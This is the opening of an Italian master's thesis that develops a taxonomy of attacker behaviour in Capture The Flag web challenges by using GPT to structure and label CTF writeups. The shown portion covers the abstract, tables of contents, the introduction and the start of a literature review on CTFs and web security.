

# POLITECNICO DI TORINO

Laurea Magistrale in Ingegneria Informatica



Tesi Magistrale

## Tassonomia dei comportamenti degli attaccanti nelle sfide di Capture The Flag (CTF): un approccio di categorizzazione attraverso l'analisi dei writeups

Relatore:

Prof. Cataldo Basile

Candidato:

Francesco Lonardo

Anno Accademico 2022/2023  
Torino



# Abstract

Le competizioni di Capture The Flag (CTF) rappresentano un mezzo per esplorare e comprendere le tecniche, le strategie e i comportamenti degli attaccanti in ambienti controllati. In questo lavoro, è stata condotta un'analisi approfondita dei comportamenti degli attaccanti nelle sfide CTF a partire dai loro report (*CTF writeup*), con l'obiettivo di creare una tassonomia di categorie che permetta una classificazione sistematica delle diverse strategie e tecniche impiegate.

Al fine di sostenere l'analisi, è stata condotta una prima fase di raccolta dati, durante la quale sono stati reperiti numerosi writeup, i resoconti degli attaccanti su come hanno affrontato e superato le sfide proposte, da diverse fonti online. Questi rappresentano una fonte preziosa di informazioni sulle metodologie utilizzate dagli attaccanti per bypassare le difese e catturare le flag.

Successivamente, è stata impiegata la tecnologia GPT (Generative Pre-trained Transformer) di OpenAI, un modello di linguaggio basato su intelligenza artificiale in grado di comprendere e generare testi in modo coerente e contestualizzato, per filtrare e organizzare i dati, scomponendo ciascun writeup in passaggi e sotto-passaggi, e creando un modello JSON strutturato.

L'obiettivo dell'analisi è stato la creazione di una tassonomia di categorie specifiche, pensata per organizzare le informazioni in modo da rappresentare chiaramente i diversi aspetti e fasi dell'attacco. Questo processo è stato supportato dalla tecnologia GPT, che ha facilitato l'etichettatura di ciascun sotto-passaggio con la categoria appropriata, in base al contenuto e al contesto.

I risultati ottenuti possono essere utilizzati per sviluppare strategie di difesa più efficaci, nonché per migliorare la progettazione delle sfide CTF in modo da renderle più rappresentative delle minacce reali a cui sono esposti i sistemi informatici. Inoltre, il lavoro fornisce una base solida per future ricerche in questo campo, permettendo ad altri ricercatori di approfondire ulteriormente l'analisi dei comportamenti degli attaccanti e di esplorare nuove prospettive e approcci.



# Indice

<b>Elenco delle figure</b>	<b>IX</b>
<b>1 Introduzione</b>	<b>1</b>
1.1 Apertura e contesto generale . . . . .	1
1.2 Competizioni Capture The Flag . . . . .	2
1.3 Sicurezza delle applicazioni web . . . . .	3
1.4 Comportamento degli attaccanti . . . . .	4
1.5 Sviluppo e utilizzo delle tassonomie . . . . .	5
1.6 Ruolo dell’NLP e modelli avanzati . . . . .	6
1.7 Obiettivi della tesi . . . . .	7
<b>2 Revisione della letteratura</b>	<b>10</b>
2.1 Gamification e competizioni CTF . . . . .	10
2.1.1 Storia ed evoluzione delle competizioni CTF . . . . .	10
2.1.2 Classificazione e variazioni delle CTF . . . . .	10
2.1.3 CTF come strumento educativo innovativo . . . . .	11
2.1.4 Impatto e rilevanza delle CTF nella sicurezza informatica . . . . .	11
2.1.5 Pratiche correnti ed evoluzioni nelle CTF . . . . .	11
2.1.6 Prospettive future e innovazioni nelle competizioni CTF . . . . .	12

2.2	Web application security . . . . .	13
2.2.1	OWASP top 10: principali vulnerabilità web . . . . .	13
2.2.2	Evoluzione e tendenze attuali della sicurezza web . . . . .	13
2.2.3	Gestione delle vulnerabilità: DevSecOps . . . . .	13
2.2.4	Ruolo formativo delle competizioni CTF nella sicurezza web . . . . .	14
2.2.5	Strategie di test e difesa per le applicazioni web . . . . .	14
2.2.6	Preparazione e risposta agli incidenti di sicurezza . . . . .	14
2.2.7	Approccio olistico nella sicurezza delle applicazioni web . . . . .	14
2.3	Comportamento nella sicurezza informatica . . . . .	14
2.3.1	Psicologia degli attaccanti . . . . .	15
2.3.2	Analisi del comportamento degli attaccanti . . . . .	15
2.3.3	Evoluzione delle tecniche di attacco . . . . .	15
2.3.4	Ruolo delle tassonomie nella comprensione degli attacchi . . . . .	15
2.3.5	Contributo dell'IA nell'analisi comportamentale . . . . .	16
2.4	Tassonomie nella sicurezza informatica . . . . .	16
2.4.1	Tassonomia per categorizzare comportamenti e attacchi . . . . .	16
2.4.2	MITRE ATT&CK: analisi delle tattiche degli attaccanti . . . . .	17
2.4.3	MITRE D3FEND: strategie di contrasto e difesa . . . . .	17
2.4.4	Interazione e sinergia tra MITRE ATT&CK e D3FEND . . . . .	17
2.4.5	OWASP Web Security Testing Guide: testing di sicurezza . . . . .	18
2.5	Natural Language Processing (NLP) . . . . .	19
2.5.1	Storia ed evoluzione del NLP . . . . .	19
2.5.2	Fondamenti teorici e pratici del NLP . . . . .	19
2.5.3	Ruolo del NLP nelle competizioni CTF . . . . .	20
2.5.4	Innovazioni e applicazioni dei modelli Transformer . . . . .	20

2.5.5	Prospettive future e impatti rivoluzionari del NLP . . . . .	20
2.6	Modelli avanzati di NLP e GPT . . . . .	21
2.6.1	GPT: innovazioni nel NLP e applicazioni pratiche . . . . .	21
2.6.2	Versatilità di GPT: applicazioni interdisciplinari . . . . .	21
2.6.3	GPT per l'analisi dei writeup delle competizioni CTF . . . . .	22
2.6.4	Impatti e futuro di GPT nella sicurezza informatica . . . . .	22
<b>3</b>	<b>Metodologia</b>	<b>23</b>
3.1	Raccolta dei dati . . . . .	23
3.1.1	Importanza della raccolta dati . . . . .	23
3.1.2	Scelta di GitHub come fonte di dati . . . . .	24
3.1.3	Utilizzo delle API di Github per la selezione dei repository . . . . .	25
3.1.4	Selezione manuale e download dei repository . . . . .	25
3.1.5	Validazione manuale dei writeup scaricati . . . . .	28
3.1.6	Organizzazione dei dati raccolti . . . . .	29
3.1.7	Riassunto della raccolta dati . . . . .	30
3.2	Elaborazione e normalizzazione dei dati . . . . .	31
3.2.1	Utilizzo di GPT per l'elaborazione dei writeup CTF . . . . .	32
3.2.2	Estrazione e filtraggio del testo utile . . . . .	33
3.2.3	Strutturazione dei dati in JSON . . . . .	38
3.2.4	Strutturazione del writeup come sequenza di step . . . . .	39
3.2.5	Strutturazione di ogni step come sequenza di substep . . . . .	43
3.2.6	Organizzazione dei file . . . . .	49
3.2.7	Riassunto dell'elaborazione e della normalizzazione dei dati . . . . .	51
3.3	Sviluppo della tassonomia . . . . .	51

3.3.1	Obiettivi della tassonomia . . . . .	52
3.3.2	Processo di sviluppo della tassonomia . . . . .	53
3.3.3	Tassonomie alternative . . . . .	56
3.3.4	Implementazione e validazione della tassonomia . . . . .	59
3.3.5	Problemi riscontrati nello sviluppo e nel testing . . . . .	60
3.3.6	Tassonomia ideale e considerazioni . . . . .	60
3.3.7	Riassunto dello sviluppo della tassonomia . . . . .	61
3.4	Etichettatura dei dati . . . . .	62
3.4.1	Etichettatura gerarchica . . . . .	63
3.4.2	Processo di etichettatura incrementale con GPT . . . . .	63
3.4.3	Processo di etichettatura secondaria e ternaria con GPT . . . . .	64
3.4.4	Composizione del file etichettato finale . . . . .	64
3.4.5	Verifica e validità delle etichette . . . . .	65
3.4.6	Riassunto dell'etichettatura dei dati . . . . .	65
<b>4</b>	<b>Risultati e discussione</b>	<b>67</b>
4.1	Validazione empirica dei risultati . . . . .	67
4.1.1	Metodologia di validazione empirica . . . . .	67
4.1.2	Punti di controllo e verifica dell'andamento . . . . .	68
4.1.3	Prospettiva di validazione preliminare . . . . .	68
4.2	Risultati dello sviluppo della tassonomia . . . . .	68
4.2.1	Confronto con MITRE ATT&CK e D3FEND . . . . .	72
4.2.2	Confronto con OWASP WSTG . . . . .	74
4.3	Analisi dei risultati dello sviluppo della tassonomia . . . . .	75
4.4	Risultati dell'etichettatura dei dati . . . . .	77



4.5	Analisi dei risultati dell'etichettatura dei dati . . . . .	83
4.6	Discussione sui risultati . . . . .	84
<b>5</b>	<b>Conclusioni</b>	<b>86</b>
5.1	Riepilogo dei risultati . . . . .	86
5.2	Limitazioni e potenziali miglioramenti . . . . .	87
5.2.1	Dipendenza dai dati disponibili . . . . .	88
5.2.2	Limitazioni legate all'utilizzo di GPT . . . . .	89
5.2.3	Limiti legati all'intervento umano . . . . .	90
5.2.4	Suggerimenti per miglioramenti futuri . . . . .	91
5.2.5	Integrazione di approcci analitici avanzati e innovazioni future . . .	93
5.2.6	Riassunto delle limitazioni e dei potenziali miglioramenti . . . . .	94
5.3	Analisi dei dati: un progetto più ampio . . . . .	95
5.3.1	Analisi statistica . . . . .	96
5.3.2	Analisi del comportamento degli attaccanti . . . . .	96
5.3.3	Rilevazione di pattern comportamentali . . . . .	98
5.3.4	Vantaggi dell'analisi dei dati . . . . .	99
5.3.5	Riassunto dell'analisi dei dati . . . . .	100
	<b>Bibliografia</b>	<b>101</b>

# Elenco delle figure

3.1	Raccolta dei dati - Script Python: utilizzo API di GitHub (selezione repository)	26
3.2	Raccolta dei dati - Output script Python: utilizzo API di GitHub (selezione repository) . . . . .	27
3.3	Raccolta dei dati - Visualizzazione struttura gerarchica delle directory . . .	29
3.4	Raccolta dei dati - Visualizzazione file Original (“*_original.md”) . . . . .	31
3.5	Elaborazione e normalizzazione dei dati - Script Python: utilizzo API di OpenAI (esempio) . . . . .	33
3.6	Elaborazione e normalizzazione dei dati - Prompt: da Original (“*_original.md”) a PrestepsModel (“*_presteps.json”) . . . . .	37
3.7	Elaborazione e normalizzazione dei dati - File JSON: PrestepsModel (challenge “Body Count”) . . . . .	41
3.8	Elaborazione e normalizzazione dei dati - Visualizzazione organizzazione dei file . . . . .	50
3.9	Sviluppo della tassonomia - Estrazione dei substep . . . . .	54
3.10	Sviluppo della tassonomia - Raggruppamento per categorie . . . . .	55
3.11	Sviluppo della tassonomia - Estrazione delle categorie . . . . .	56
3.12	Sviluppo della tassonomia - Organizzazione gerarchica . . . . .	57
3.13	Etichettatura dei dati - Divisione SubstepsModel in chunk . . . . .	63



# Capitolo 1

## Introduzione

### 1.1 Apertura e contesto generale

Le competizioni di Capture The Flag (CTF) sono emerse come uno degli strumenti più efficaci per l'affinamento delle abilità nel campo della sicurezza informatica. Caratterizzate da sfide che spaziano dalla crittografia al reverse engineering, passando per l'analisi forense e la sicurezza delle applicazioni web, le CTF non solo mettono alla prova le competenze tecniche degli aspiranti professionisti della sicurezza, ma simulano anche scenari di attacco e difesa che ricreano le tensioni e le dinamiche del mondo reale. In un'era in cui le minacce informatiche si evolvono con rapidità impressionante, l'abilità di pensare come un attaccante diventa un prerequisito indispensabile per chi opera nel settore.

La rilevanza delle competizioni CTF va ben oltre il semplice gioco o l'esercizio accademico. Esse rappresentano un ponte vitale tra la teoria e la pratica della sicurezza informatica, fornendo un terreno di allenamento virtuale in cui è possibile sperimentare senza i rischi associati all'operatività in sistemi vivi. Il design di tali competizioni riflette spesso le vulnerabilità più comuni e pericolose del momento, costringendo i partecipanti a rimanere aggiornati sulle ultime tecniche di exploit e sulle strategie di mitigazione.

In questo scenario in costante mutamento, lo sviluppo continuo delle competenze diventa cruciale. I professionisti della sicurezza devono perpetuamente aggiornare il proprio arsenale di conoscenze per fronteggiare minacce sempre più sofisticate. In questo contesto, le CTF forniscono un aggiornamento pratico e una verifica continua delle competenze tecniche individuali e di squadra. L'elemento competitivo stimola inoltre la ricerca di nuove soluzioni e strategie, promuovendo un approccio proattivo alla sicurezza informatica.

Mentre la pratica costante rimane un aspetto chiave nello sviluppo delle competenze, l'analisi del comportamento e delle strategie degli attaccanti nelle CTF rivela modelli e tattiche che possono essere tradotti in misure difensive più robuste nel mondo reale. Il

presente lavoro mira a esplorare questi aspetti, contribuendo non solo all'avanzamento delle competenze individuali, ma anche al miglioramento complessivo delle strategie di difesa implementate nelle organizzazioni che devono difendersi dai cyber attacchi in continuo divenire.

## 1.2 Competizioni Capture The Flag

Le competizioni CTF rappresentano una componente fondamentale nell'educazione e nell'allenamento degli aspiranti professionisti della sicurezza informatica. Queste sfide sono progettate per mettere alla prova le abilità tecniche in un contesto ludico, ma altamente educativo. Solitamente, una CTF è strutturata attorno a una serie di compiti che richiedono ai partecipanti di “catturare” una stringa di testo, nota come “flag”, da un sistema, un'applicazione o un puzzle crittografico. Questa “bandiera” funge da prova che l'obiettivo è stato raggiunto.

Le CTF possono assumere varie forme, ognuna con un suo particolare approccio e set di sfide. Le più comuni sono:

- **Jeopardy-style.** Queste competizioni sono simili al noto gioco televisivo, con diverse categorie di problemi che vanno dalla crittografia alla web application security. Ogni sfida è dotata di un punteggio che generalmente riflette la sua difficoltà. I partecipanti scelgono e risolvono i problemi per guadagnare punti e scalare una classifica.
- **Attack-defense.** Questo stile è più dinamico. Ogni squadra gestisce un proprio server con vari servizi vulnerabili. L'obiettivo è di attaccare gli avversari sfruttando queste vulnerabilità mentre si protegge il proprio sistema dalle intrusioni.
- **King of the hill.** Qui, i concorrenti combattono per il controllo di un server centrale. Il vincitore è chi mantiene il controllo per il maggior tempo possibile, spesso richiedendo sia abilità offensive che difensive.

L'obiettivo educativo e formativo delle CTF è duplice. Innanzitutto, mirano a migliorare le competenze tecniche attraverso l'applicazione pratica della teoria. Questo è particolarmente rilevante nella web application security, dove le sfide CTF richiedono l'impiego di tecniche per l'identificazione e lo sfruttamento di vulnerabilità comuni in applicazioni web. In secondo luogo, le CTF promuovono l'apprendimento continuo e l'adattamento alle nuove minacce emergenti, essenziali in un settore in rapida evoluzione come la sicurezza informatica.

Le competizioni CTF sono particolarmente preziose nel campo della web application security. Offrono un ambiente sicuro e controllato in cui sperimentare attacchi contro vulnerabilità tipiche come Cross-Site Scripting (XSS), SQL Injection, Cross-Site Request Forgery (CSRF)

e molte altre. Affrontare queste sfide permette ai partecipanti di comprendere meglio come gli aggressori sfruttano i punti deboli delle applicazioni web e come si possono sviluppare misure difensive efficaci.

Attraverso la pratica diretta e la risoluzione di problemi realistici, le competizioni CTF aiutano a sviluppare non solo la conoscenza tecnica, ma anche le competenze di problem solving, il pensiero critico e la creatività, che sono altrettanto vitali per un esperto di sicurezza informatica. In effetti, le CTF costituiscono un collegamento essenziale tra la conoscenza accademica e le competenze pratiche necessarie per navigare e proteggere il paesaggio digitale in continua evoluzione.

## 1.3 Sicurezza delle applicazioni web

Le applicazioni web sono divenute una componente cruciale delle infrastrutture IT moderne, fungendo da interfaccia tra gli utenti e una vasta gamma di servizi critici. Questa ubiquità le rende un obiettivo privilegiato per gli attaccanti, con conseguenti rischi elevati per la sicurezza delle informazioni e la privacy degli utenti.

Le minacce alla sicurezza delle applicazioni web sono in continuo divenire, con attaccanti che evolvono le proprie tecniche per sfruttare nuove vulnerabilità. Alcune delle più comuni vulnerabilità sono state catalogate e descritte dal Project Open Web Application Security Project (OWASP), che pubblica regolarmente il Top 10 delle vulnerabilità più critiche. Tra queste, troviamo problemi diffusi come Injection (es. SQL injection), Broken Authentication, Sensitive Data Exposure, XML External Entities (XXE), Broken Access Control, Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, e Insufficient Logging and Monitoring.

Queste vulnerabilità rappresentano i punti di ingresso più comuni per gli attacchi e possono portare a conseguenze devastanti, da perdite di dati sensibili a interi sistemi compromessi, mostrando l'importanza di una comprensione approfondita e di misure di mitigazione efficaci.

Le sfide delle CTF spesso imitano le vulnerabilità elencate nell'OWASP Top 10, fornendo ai concorrenti l'opportunità di affrontare tali problemi in modo pratico. I partecipanti devono identificare e sfruttare le vulnerabilità delle applicazioni web per ottenere flag o completare obiettivi specifici.

Inoltre, le competizioni CTF promuovono una mentalità che va oltre la semplice correzione dei bug, incoraggiando i partecipanti a comprendere le ragioni sottostanti di una vulnerabilità e a riflettere su come l'architettura e le pratiche di sviluppo possano essere migliorate per prevenire simili problemi di sicurezza.

In questa tesi, ci focalizziamo sull'esplorazione di come le CTF contribuiscano alla formazione dei professionisti della sicurezza nell'ambito delle web application security. L'analisi delle soluzioni delle competizioni CTF (writeup) fornisce uno spaccato delle tecniche attuali e delle strategie di mitigazione, offrendo un contesto prezioso per lo sviluppo di una tassonomia comportamentale degli attaccanti che verrà ulteriormente esaminata nel corso di questa ricerca.

## 1.4 Comportamento degli attaccanti

La sicurezza informatica è una partita a scacchi continua contro avversari spesso invisibili. La comprensione del comportamento degli attaccanti è cruciale per poter anticipare e neutralizzare le minacce informatiche. Questa sezione esplora le motivazioni, i modelli comportamentali e le tecniche utilizzate dagli attaccanti, fondamentali per sviluppare strategie di difesa efficaci.

Gli attaccanti informatici variano ampiamente in termini di abilità, motivazioni e obiettivi. Tradizionalmente, sono classificati in categorie come hacker etici, cracker, hacktivist, insider malintenzionati, spie aziendali o governative, e criminali informatici. Ciascuna categoria possiede distinti modelli comportamentali e tecniche di attacco.

- **Hacker etici.** Anche noti come “white hat”, questi individui usano le loro competenze per migliorare la sicurezza, spesso partecipando a competizioni CTF per affinare le loro abilità.
- **Cracker.** Questi attaccanti, talvolta chiamati “black hat”, sono mossi da intenti maliziosi e possono causare danni significativi a sistemi e reti.
- **Hacktivist.** Motivati da cause politiche o sociali, gli hacktivist usano il cyberattivismo per promuovere un'agenda.
- **Insider malintenzionati.** Individui all'interno di un'organizzazione che possono abusare del proprio accesso per effettuare azioni dannose.
- **Spie industriali e governative.** Agiscono per conto di entità aziendali o governative per ottenere informazioni riservate o vantaggi competitivi.
- **Criminali informatici.** Si impegnano in attività illecite per guadagni finanziari attraverso frodi, ransomware e altre forme di cybercrime.

La gamma di motivazioni comprende il profitto finanziario, la notorietà, l'attivismo, la vendetta, la curiosità e il desiderio di sfida. Queste motivazioni influenzano la selezione delle tecniche, che possono variare dalle vulnerabilità software/hardware (ad esempio, sfruttamento di zero-day), ingegneria sociale, phishing, denial-of-service (DoS), e attacchi

man-in-the-middle (MITM), fino ad arrivare a tecniche più sofisticate come Advanced Persistent Threats (APT).

La conoscenza di queste tecniche è vitale per le difese di sicurezza. I modelli di attacco possono essere analizzati per identificare tendenze, prevedere attacchi imminenti e sviluppare misure proattive.

Esaminare e interpretare il comportamento degli attaccanti è fondamentale per anticipare le mosse dell'avversario. Questo non solo migliora la resilienza e la preparazione delle organizzazioni, ma contribuisce anche all'evoluzione dei sistemi di sicurezza. Inoltre, l'analisi comportamentale supporta l'addestramento degli esperti di sicurezza per riconoscere e reagire a minacce complesse e mutevoli.

La profilazione degli attaccanti permette agli esperti di sicurezza di elaborare scenari di risposta agli incidenti e di allenare i team attraverso esercitazioni di red teaming e blue teaming, che sono una componente chiave delle competizioni CTF. Attraverso la comprensione profonda del "nemico", è possibile rafforzare le misure di difesa, sviluppare migliori pratiche di sicurezza e formare professionisti pronti a rispondere efficacemente agli attacchi reali.

## 1.5 Sviluppo e utilizzo delle tassonomie

Per navigare la vastità e la complessità del comportamento degli attaccanti informatici, è essenziale una strutturazione ordinata che faciliti la comprensione e la comunicazione di concetti spesso astratti e variabili. Qui entra in gioco il concetto di tassonomia.

Le tassonomie sono sistemi di classificazione che organizzano la conoscenza in un campo in modo gerarchico, consentendo agli esperti e ai neofiti di trovare rapidamente e facilmente le informazioni che cercano. Sono particolarmente utili nella sicurezza informatica, dove una vasta gamma di minacce e comportamenti necessitano di essere catalogati in modo che possano essere riconosciuti, analizzati e contrastati efficacemente.

Nel contesto delle competizioni CTF, le tassonomie possono aiutare a classificare i vari tipi di vulnerabilità sfruttate, gli attacchi perpetrati e i metodi di difesa utilizzati. Creando categorie chiare, gli organizzatori e i partecipanti delle CTF possono comunicare più efficacemente su strategie complesse e su questioni di sicurezza.

Nelle competizioni CTF, le tassonomie possono essere sviluppate per classificare:

- **Tipologie di attacchi:** ad esempio, attacchi che mirano all'autenticazione, alla gestione delle sessioni, a iniezioni SQL, ecc.
- **Strategie difensive:** quali tecniche di sanitizzazione dell'input, di validazione dei dati o di hardening del sistema sono state implementate.



- **Risorse e strumenti utilizzati:** software di analisi statica e dinamica, tool per il reverse engineering, framework per il testing di penetrazione, ecc.
- **Competenze richieste:** conoscenze necessarie per identificare e sfruttare certe vulnerabilità, come la programmazione, la crittografia o l'analisi forense.

L'analisi delle intrusioni è un esempio preminente di tassonomia in sicurezza informatica. Qui i comportamenti degli attaccanti sono divisi in categorie come scansione, sfruttamento, elevazione dei privilegi e movimento laterale.

Il processo di sviluppo di una tassonomia inizia con l'identificazione delle caratteristiche comuni tra gli attacchi osservati nei writeup delle competizioni CTF. Queste caratteristiche comuni possono includere tecniche, obiettivi, vulnerabilità sfruttate, ecc. Da qui, si possono creare categorie e subcategorie che rappresentano vari livelli di astrazione.

La tassonomia può poi essere raffinata attraverso iterazioni successive, dove la classificazione viene testata contro nuovi dati per garantire che sia completa e priva di ambiguità. L'obiettivo è una tassonomia che non solo faciliti l'analisi e la comunicazione all'interno della comunità CTF, ma che possa anche essere applicata per migliorare le strategie di difesa in scenari reali.

In conclusione, una tassonomia ben sviluppata è uno strumento essenziale per categorizzare e comprendere il comportamento degli attaccanti nelle competizioni CTF. In questo lavoro, l'integrazione di tecnologie avanzate come il Natural Language Processing e modelli di linguaggio come GPT apre nuove frontiere nell'analisi e nell'elaborazione dei writeup delle competizioni CTF, potenziando ulteriormente la capacità di decifrare e contrastare efficacemente le strategie degli attaccanti.

## 1.6 Ruolo dell'NLP e modelli avanzati

Il Natural Language Processing (NLP) è una branca dell'intelligenza artificiale che si concentra sull'interazione tra computer e linguaggio umano, con l'obiettivo di leggere, capire e interpretare il linguaggio naturale in modo che possa essere utilizzato da un computer. Questo campo interdisciplinare combina concetti e metodi dell'informatica, della linguistica e della statistica per elaborare e analizzare grandi quantità di dati linguistici.

Nell'ambito delle competizioni CTF, l'NLP si rivela uno strumento prezioso per l'analisi automatizzata dei writeup, che sono spesso estesi, tecnici e redatti in maniera non standardizzata. L'NLP può aiutare a estrarre informazioni chiave, identificare pattern e classificare i dati in modo coerente con le tassonomie predefinite.

L'importanza dell'NLP nell'analisi dei dati testuali è innegabile, specialmente in un'era caratterizzata da un'enorme produzione di dati. La capacità di analizzare rapidamente

testi estesi permette agli esperti di estrarre insights e patterns altrimenti difficilmente individuabili manualmente. Nel contesto delle competizioni CTF, l’NLP può sistematizzare il processo di revisione dei writeup, risparmiando tempo prezioso e rivelando tendenze e strategie comuni tra gli attaccanti.

Modelli di linguaggio avanzati come GPT di OpenAI rappresentano l’evoluzione del NLP, utilizzando tecniche di apprendimento profondo per generare, comprendere e rispondere al testo in modo naturale e contestualizzato. GPT, basato sull’architettura Transformer, è stato addestrato su una vasta gamma di dati di internet, permettendogli di eseguire una varietà di compiti linguistici complessi, come rispondere a domande, scrivere saggi, codificare programmi, e persino generare poesie.

Nell’analisi dei writeup delle competizioni CTF, GPT può essere impiegato in diversi modi:

- **Estrazione di informazioni:** identificazione di concetti chiave, vulnerabilità sfruttate, e strategie utilizzate.
- **Classificazione:** organizzazione dei writeup in categorie basate sulla tassonomia sviluppata, per facilitare ulteriori analisi.
- **Generazione di dati di addestramento:** creazione di testi sintetici basati su esempi reali per ampliare il dataset di addestramento per altri modelli NLP.
- **Traduzione:** conversione di writeup da una lingua all’altra per consentire analisi più ampie e inclusive.

Mentre l’uso di GPT e di altri modelli di linguaggio avanzati offre numerosi vantaggi, è importante anche riconoscere e mitigare eventuali limitazioni, come il rischio di generare informazioni inaccurate. La sezione concluderà con una riflessione critica sull’impiego responsabile di questi strumenti nell’ambito dell’analisi dei writeup delle competizioni CTF.

## 1.7 Obiettivi della tesi

Il cuore pulsante di questa ricerca è la concezione e lo sviluppo di una tassonomia robusta e dinamica, dedicata all’analisi e alla classificazione dei comportamenti degli attaccanti come manifestati nei writeup delle competizioni di Capture The Flag (CTF). Attraverso l’elaborazione di questa tassonomia, la tesi si prefigge di raggiungere i seguenti obiettivi:

- **Identificazione e categorizzazione.** Creare un framework che consenta di identificare i comportamenti, le strategie e le tecniche impiegate dagli attaccanti durante le competizioni CTF. Tale framework mira a trascendere le singole competizioni per fornire una visione olistica e integrata che possa essere applicata universalmente.

- **Contributo educativo.** Fornire un contributo concreto alla formazione degli esperti di sicurezza informatica. La tassonomia proposta intende essere uno strumento didattico per i neofiti, facilitando l'apprendimento delle tecniche di difesa e di attacco in ambienti controllati e simulati.
- **Supporto alla ricerca.** Agevolare i ricercatori nell'identificazione delle tendenze attuali ed emergenti nel comportamento degli attaccanti, permettendo di anticipare l'evoluzione delle tecniche offensive e di sviluppare difese più efficaci.
- **Innovazione metodologica.** Sperimentare l'impiego di tecnologie avanzate, quali il Natural Language Processing (NLP) e modelli di intelligenza artificiale come GPT di OpenAI, nell'analisi dei dati testuali complessi, esplorando nuove frontiere metodologiche nella ricerca sulla sicurezza informatica.

In conclusione, si contempla il potenziale futuro in cui la tassonomia sviluppata non rimanga confinata a un ambito puramente teorico, ma si evolva in una risorsa vivente e flessibile, capace di adattarsi alle mutevoli dinamiche del panorama della sicurezza informatica. Questo obiettivo aspirazionale potrebbe vedere la tassonomia estendere il suo impatto ben oltre la sfera accademica. Tale sviluppo potrebbe influenzare in modo significativo sia la comprensione che l'applicazione pratica della sicurezza informatica in lavori futuri esterni a questo studio di tesi.

## Struttura della tesi

Questa tesi è strutturata in cinque capitoli principali, ognuno dei quali affronta un aspetto distinto della ricerca. Di seguito è fornita una breve panoramica di ciascun capitolo.

### Capitolo 2: Revisione della letteratura

Questo capitolo offre una panoramica completa della letteratura esistente sulle competizioni Capture The Flag (CTF), la sicurezza delle applicazioni web, il comportamento degli attaccanti, l'utilizzo delle tassonomie nella sicurezza informatica e il ruolo del Natural Language Processing (NLP) e dei modelli avanzati come GPT. Si esplorano i fondamenti teorici e pratici che stanno alla base del progetto di ricerca.

### Capitolo 3: Metodologia

Il terzo capitolo descrive in dettaglio la metodologia utilizzata per la raccolta e l'elaborazione dei dati, lo sviluppo della tassonomia e l'etichettatura dei dati. Questo include la selezione

e la verifica dei writeup delle competizioni CTF, nonché il processo di integrazione e validazione della tassonomia sviluppata.

## **Capitolo 4: Risultati e discussione**

In questo capitolo vengono presentati e discussi i risultati ottenuti dalla ricerca. Ciò include l'analisi dei risultati dello sviluppo della tassonomia, i risultati dell'etichettatura dei dati e una discussione complessiva sui risultati, ponendo particolare attenzione alla loro validazione empirica e al confronto con altre tassonomie rilevanti nel campo della sicurezza informatica.

## **Capitolo 5: Conclusioni**

Il capitolo finale riassume i risultati chiave della ricerca, discute le limitazioni e i potenziali miglioramenti del metodo di ricerca, e propone direzioni future per lo sviluppo del progetto. Questo capitolo mira a fornire una visione complessiva dell'impatto e delle implicazioni del progetto di ricerca nel contesto più ampio della sicurezza informatica e delle competizioni CTF.

## Capitolo 2

# Revisione della letteratura

### 2.1 Gamification e competizioni CTF

Le competizioni Capture The Flag (CTF) hanno preso piede nel panorama della sicurezza informatica come strumenti didattici e di valutazione, evolvendosi significativamente da quando furono ideate nei primi anni '90.

#### 2.1.1 Storia ed evoluzione delle competizioni CTF

Inizialmente concepite come esercitazioni pratiche in contesti accademici e militari, le CTF si sono rapidamente affermate come eventi regolari in conferenze di sicurezza di alto profilo. Questa evoluzione è parallela all'incremento delle minacce informatiche e alla crescente complessità dei sistemi informatici. L'analisi storica delle CTF rivela un'evoluzione sia nelle tecniche utilizzate sia nei tipi di sfide proposte, riflettendo l'evoluzione stessa delle minacce informatiche. Le competizioni CTF sono diventate uno strumento dinamico per testare e sviluppare competenze in contesti sempre più vicini alla realtà operativa dei professionisti del settore.

#### 2.1.2 Classificazione e variazioni delle CTF

Nel corso degli anni, le CTF si sono diversificate in varie tipologie, ognuna con il suo specifico set di regole e obiettivi. Le più comuni sono le CTF di tipo Jeopardy e Attack-Defense. Le CTF Jeopardy-style presentano una serie di sfide categorizzate, come web exploitation, crittografia, steganografia, e altre, con livelli di difficoltà crescenti. Queste competizioni sono spesso utilizzate in contesti educativi grazie alla loro struttura modulare

e alla varietà di argomenti coperti. D'altro canto, le CTF di tipo Attack-Defense, più dinamiche, coinvolgono direttamente i partecipanti in scenari di attacco e difesa in tempo reale. Queste competizioni richiedono non solo competenze tecniche avanzate, ma anche capacità strategiche e di lavoro di squadra, riflettendo più da vicino le sfide operative incontrate dai professionisti della sicurezza. Inoltre, sono emerse varianti ibride e tematiche specifiche, come le CTF incentrate sulla sicurezza fisica o su aspetti specifici del pentesting [1].

### **2.1.3 CTF come strumento educativo innovativo**

L'uso di CTF come strumento di apprendimento si è evoluto, incorporando elementi di gamification, apprendimento auto-diretto e collaborativo [2]. Le sfide CTF vengono integrate in contesti accademici con un approccio che valorizza l'attenzione, la rilevanza, la fiducia e la soddisfazione degli studenti [2]. Questo metodo ha dimostrato di aumentare l'impegno e la partecipazione dei corsi rispetto agli anni precedenti, con gli studenti che mostrano miglioramenti nelle competenze e nelle conoscenze, oltre a godere del processo di apprendimento grazie all'approccio pratico e coinvolgente [2].

### **2.1.4 Impatto e rilevanza delle CTF nella sicurezza informatica**

Le CTF, oltre ad essere eventi competitivi, sono diventate strumenti didattici innovativi nel campo della formazione alla sicurezza informatica. La loro importanza va ben oltre il semplice sviluppo di competenze tecniche, estendendosi al miglioramento delle capacità analitiche, del pensiero critico, e delle competenze di risoluzione dei problemi. Le competizioni CTF si distinguono per la loro variabilità in termini di dimensione delle squadre, categorie di sfide, metodologie di punteggio, organizzazione degli eventi online e in presenza, e l'utilizzo di round di qualificazione [1].

### **2.1.5 Pratiche correnti ed evoluzioni nelle CTF**

Nelle competizioni CTF, si sono consolidate alcune pratiche comuni, tra cui l'adozione del formato "Jeopardy", l'assegnazione di premi, e la durata degli eventi, che spesso si limitano a un giorno o a pochi giorni. Alcuni eventi potrebbero anche imporre restrizioni di partecipazione basate sulla localizzazione geografica. Oltre a questi aspetti organizzativi, le sfide CTF tendono a enfatizzare argomenti tecnici quali la sicurezza di rete e la crittografia, ma emerge anche l'importanza di includere elementi legati al fattore umano, come l'ingegneria sociale e la sensibilizzazione alla sicurezza informatica [3]. Questo equilibrio tra aspetti tecnici e umani rende le CTF strumenti versatili e preziosi nell'ambito educativo. Inoltre, partecipare a queste competizioni permette di sviluppare abilità trasversali fondamentali,

